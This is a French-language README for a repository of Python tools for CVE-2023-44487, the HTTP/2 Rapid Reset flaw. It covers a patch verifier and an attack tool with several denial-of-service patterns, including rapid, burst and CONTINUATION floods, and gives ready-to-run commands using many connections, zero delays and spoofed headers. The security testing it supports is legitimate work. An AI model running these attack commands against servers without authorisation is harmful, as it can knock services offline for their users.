
Un outil de test Python complet pour CVE-2023-44487, la vulnérabilité HTTP/2 Rapid Reset. Cette version améliorée offre un contrôle granulaire des paramètres de test, plusieurs schémas d'attaque et des capacités de surveillance avancées.
Un outil de test Python complet pour CVE-2023-44487, la vulnérabilité HTTP/2 Rapid Reset. Ce dépôt contient à la fois des outils de test d'attaque et des outils axés sur la vérification.
Cet outil est réservé à des fins éducatives et de test autorisé UNIQUEMENT !
CVE-2023-44487, également connue sous le nom de « HTTP/2 Rapid Reset », est une vulnérabilité critique dans le protocole HTTP/2 qui permet aux attaquants de :
Score CVSS : 7,5 (Élevé)
Déni de service, épuisement des ressources
h2 : pip install h2git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
pip install h2
chmod +x *.py
python3 --version # Should be 3.7+
cve_2023_44487_verifier_enhanced.pyObjectif : détection des signaux d'application des correctifs pour la vérification post-correctif et le contrôle de conformité
# Basic verification
python3 cve_2023_44487_verifier_enhanced.py target.com
# Multiple concurrent connections
python3 cve_2023_44487_verifier_enhanced.py target.com -c 5 -s 500
# Verbose output with debugging
python3 cve_2023_44487_verifier_enhanced.py target.com -v -c 3 -s 1000
# Baseline test only (normal requests)
python3 cve_2023_44487_verifier_enhanced.py target.com --baseline-only
| Option | Description | Défaut |
|---|---|---|
host | Nom d'hôte cible (obligatoire) | - |
-p, --port | Port cible | 443 |
--no-ssl | Désactiver SSL/TLS | False (SSL activé) |
-s, --streams | Nombre de flux par connexion | 1000 |
-d, --delay | Délai entre les opérations de flux (secondes) | 0.001 |
-c, --connections | Nombre de connexions simultanées | 1 |
--baseline-only | Effectuer uniquement le test de référence (pas d'attaque) | False |
-v, --verbose | Sortie verbeuse/débogage | False |
Le script fournit un verdict intelligent basé sur des signaux d'application conformes à la RFC 9113 :
Le serveur envoie un GOAWAY avec le code d'erreur ENHANCE_YOUR_CALM (0xb)
Classification : NON VULNÉRABLE — l'application au niveau du protocole est active
Signification : l'implémentation HTTP/2 dispose de contrôles de limitation de débit appropriés
50 % ou plus des connexions terminées via une réinitialisation TCP
Classification : PROBABLEMENT PROTÉGÉ — vérifier avec l'équipe périmètre/infrastructure
Signification : l'équipement de périmètre ou la protection anti-DDoS est intervenu au niveau transport
Le taux de réinitialisation par seconde chute significativement au fil du temps (segments tardifs < 60 % des premiers)
Classification : PROTECTION PARTIELLE — confirmer avec l'équipe infrastructure
Signification : le serveur ou le périmètre ralentit l'attaque de manière adaptative
Le serveur envoie des réponses REFUSED_STREAM (0x7)
Classification : PROTECTION PARTIELLE — examiner les limites de débit
Signification : une certaine limitation de débit au niveau des flux est en place
Aucun GOAWAY ENHANCE_YOUR_CALM, aucune réinitialisation TCP, aucune limitation détectée
Classification : VECTEUR EXPLOITABLE — exploitabilité non confirmée
Important : cela ne prouve pas l'exploitabilité du déni de service. Les protections volumétriques/comportementales
de périmètre (Akamai, CloudFlare) peuvent s'activer à plus grande échelle
============================================================
ANALYSE DES SIGNAUX D'APPLICATION
============================================================
SETTINGS du serveur (trame initiale) :
HEADER_TABLE_SIZE = 4096
ENABLE_PUSH = True
MAX_CONCURRENT_STREAMS = 128
INITIAL_WINDOW_SIZE = 65535
MAX_FRAME_SIZE = 16384
→ MAX_CONCURRENT_STREAMS=128 est prudent (bon réglage par défaut post-CVE)
Répartition des GOAWAY entre les connexions :
ENHANCE_YOUR_CALM (0xb) : 3/5
Autres codes GOAWAY : 1/5
Aucun GOAWAY reçu : 1/5
Réinitialisation TCP (RST au niveau transport) : 0/5
Total des trames RST_STREAM du serveur : 2
Trames REFUSED_STREAM du serveur : 0
Connexions présentant une limitation adaptative : 1/5
============================================================
VERDICT
============================================================
✅ APPLICATION CONFIRMÉE
3/5 connexion(s) ont reçu un GOAWAY avec ENHANCE_YOUR_CALM (0xb).
C'est le signal canonique indiquant que l'atténuation de CVE-2023-44487 est active.
Classification : NON VULNÉRABLE — l'application au niveau du protocole est en place.
# Verify patch deployment with 10 connections, 500 streams each
python3 cve_2023_44487_verifier_enhanced.py prod-api.example.com \
-c 10 \
-s 500 \
-d 0.0001 \
-v
# Test non-standard HTTPS port
python3 cve_2023_44487_verifier_enhanced.py example.com \
-p 8443 \
-c 5 \
-s 1000
# Minimal load compliance test
python3 cve_2023_44487_verifier_enhanced.py example.com \
-c 3 \
-s 200 \
--baseline-only
ENHANCE_YOUR_CALM (code d'erreur 0xb) :
REFUSED_STREAM (code d'erreur 0x7) :
Analyse du taux de réinitialisation par seconde :
RST TCP au niveau transport :
| Cause de fermeture | Signification |
|---|---|
goaway_enhance_your_calm | GOAWAY 0xb reçu (meilleur indicateur du correctif CVE) |
goaway_* | GOAWAY avec un autre code d'erreur |
tcp_reset | RST TCP reçu (intervention au niveau du périmètre) |
broken_pipe / recv_error | Erreur de connexion pendant la communication |
eof_no_goaway | EOF inattendu sans GOAWAY |
no_close_no_enforcement | Connexion restée ouverte (aucune application détectée) |
import asyncio
import subprocess
def run_verification(target: str, num_connections: int = 3):
cmd = [
'python3', 'cve_2023_44487_verifier_enhanced.py',
target,
'-c', str(num_connections),
'-s', '500',
'-v'
]
result = subprocess.run(cmd, capture_output=True, text=True)
# Parse verdict from output
if "ENFORCEMENT CONFIRMED" in result.stdout:
print(f"✅ {target} is protected")
return "protected"
elif "LIKELY PROTECTED" in result.stdout:
print(f"⚠️ {target} has edge-level protection")
return "edge_protected"
else:
print(f"❌ {target} shows no enforcement")
return "vulnerable"
# Run test
status = run_verification("example.com", 5)
#!/bin/bash
# Monitor critical services weekly
TARGETS="api.example.com web.example.com cdn.example.com"
LOG_DIR="/var/log/cve-2023-44487"
mkdir -p "$LOG_DIR"
for target in $TARGETS; do
python3 cve_2023_44487_verifier_enhanced.py "$target" \
-c 3 \
-s 500 \
-v > "$LOG_DIR/$target-$(date +%Y%m%d).log" 2>&1
done
rapid_reset_test.pyObjectif : test d'attaque complet de la vulnérabilité HTTP/2 Rapid Reset avec plusieurs modèles d'attaque
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
| Option | Description | Défaut |
|---|---|---|
-c, --connections N | Nombre de connexions simultanées | 1 |
--connection-timeout SEC | Délai d'expiration de connexion en secondes | 10 |
--read-timeout SEC | Délai d'expiration de lecture des réponses | 5 |
--connection-delay SEC | Délai entre les connexions | 0.0 |
| Option | Description | Défaut |
|---|---|---|
-r, --requests N | Requêtes par connexion | 100 |
--delay SEC | Délai entre HEADERS et RST_STREAM | 0.001 |
--request-delay SEC | Délai entre les requêtes | 0.0 |
--jitter FACTOR | Facteur de randomisation de la temporisation | 0.0 |
| Option | Description | Défaut |
|---|---|---|
--pattern TYPE | Modèle d'attaque à utiliser | rapid_reset |
--burst-size N | Requêtes par salve | 10 |
--burst-delay SEC | Délai entre les salves | 0.1 |
Modèles disponibles :
rapid_reset - Attaque par réinitialisation rapide standardburst_reset - Attaques basées sur des salvesgradual_reset - Taux croissant progressivementrandom_reset - Temporisation aléatoirecontinuation_flood - Inondation de trames CONTINUATIONmixed_pattern - Mélange de modèles| Option | Description | Défaut |
|---|---|---|
--window-size BYTES | Taille de fenêtre initiale HTTP/2 | 65535 |
--frame-size BYTES | Taille maximale de trame | 16384 |
--header-table-size BYTES | Taille de la table d'en-têtes HPACK | 4096 |
--enable-push | Activer le server push HTTP/2 | False |
--rst-error-code CODE | Code d'erreur RST_STREAM | 8 |
| Option | Description | Défaut |
|---|---|---|
--output FORMAT | Format de sortie | console |
--output-file FILE | Nom du fichier de sortie | généré automatiquement |
--verbose, -v | Sortie verbeuse | False |
--debug | Journalisation de débogage | False |
--log-file FILE | Journaliser dans un fichier | None |
Formats de sortie disponibles :
console - Sortie console lisible par un humainjson - JSON lisible par une machinecsv - CSV compatible tableurxml - Format XML structuréL'outil évalue automatiquement la vulnérabilité :
"No module named 'h2'"
pip install h2
Connexion refusée / délai d'expiration
curl -I --http2 https://target.comImportError avec les modules h2
pip install --upgrade h2
python3 --version # Must be 3.7+
Autorisation refusée
chmod +x *.py
python3 cve_2023_44487_verifier_enhanced.py target.com
Activez la journalisation verbeuse :
python3 cve_2023_44487_verifier_enhanced.py target.com -v
Testez avec des paramètres minimaux :
python3 cve_2023_44487_verifier_enhanced.py target.com -s 10 -c 1
Vérifiez la prise en charge de HTTP/2 :
python3 -c "import h2; print('h2 library OK')"
Ce dépôt est destiné aux professionnels de la cybersécurité, aux chercheurs et aux administrateurs système pour tester leurs propres systèmes ou des systèmes pour lesquels ils disposent d'une autorisation explicite de test.
Points juridiques clés :
Rappel : un grand pouvoir implique de grandes responsabilités. Utilisez ces outils de manière éthique et légale.
Cet outil est fourni sous licence MIT. Consultez le fichier LICENSE pour plus de détails.
| Cas d'utilisation | Outil | Raison |
|---|---|---|
| Vérification post-correctif | cve_2023_44487_verifier_enhanced.py | Détecte les signaux d'application |
| Contrôle de conformité | cve_2023_44487_verifier_enhanced.py | Valide l'atténuation de la CVE |
| Évaluation de l'infrastructure | cve_2023_44487_verifier_enhanced.py | Verdicts clairs et exploitables |
| Recherche sur les attaques | rapid_reset_test.py | Plusieurs modèles d'attaque |
| Test de performance | rapid_reset_test.py | Métriques complètes |
| Modèles personnalisés | rapid_reset_test.py | Configuration granulaire |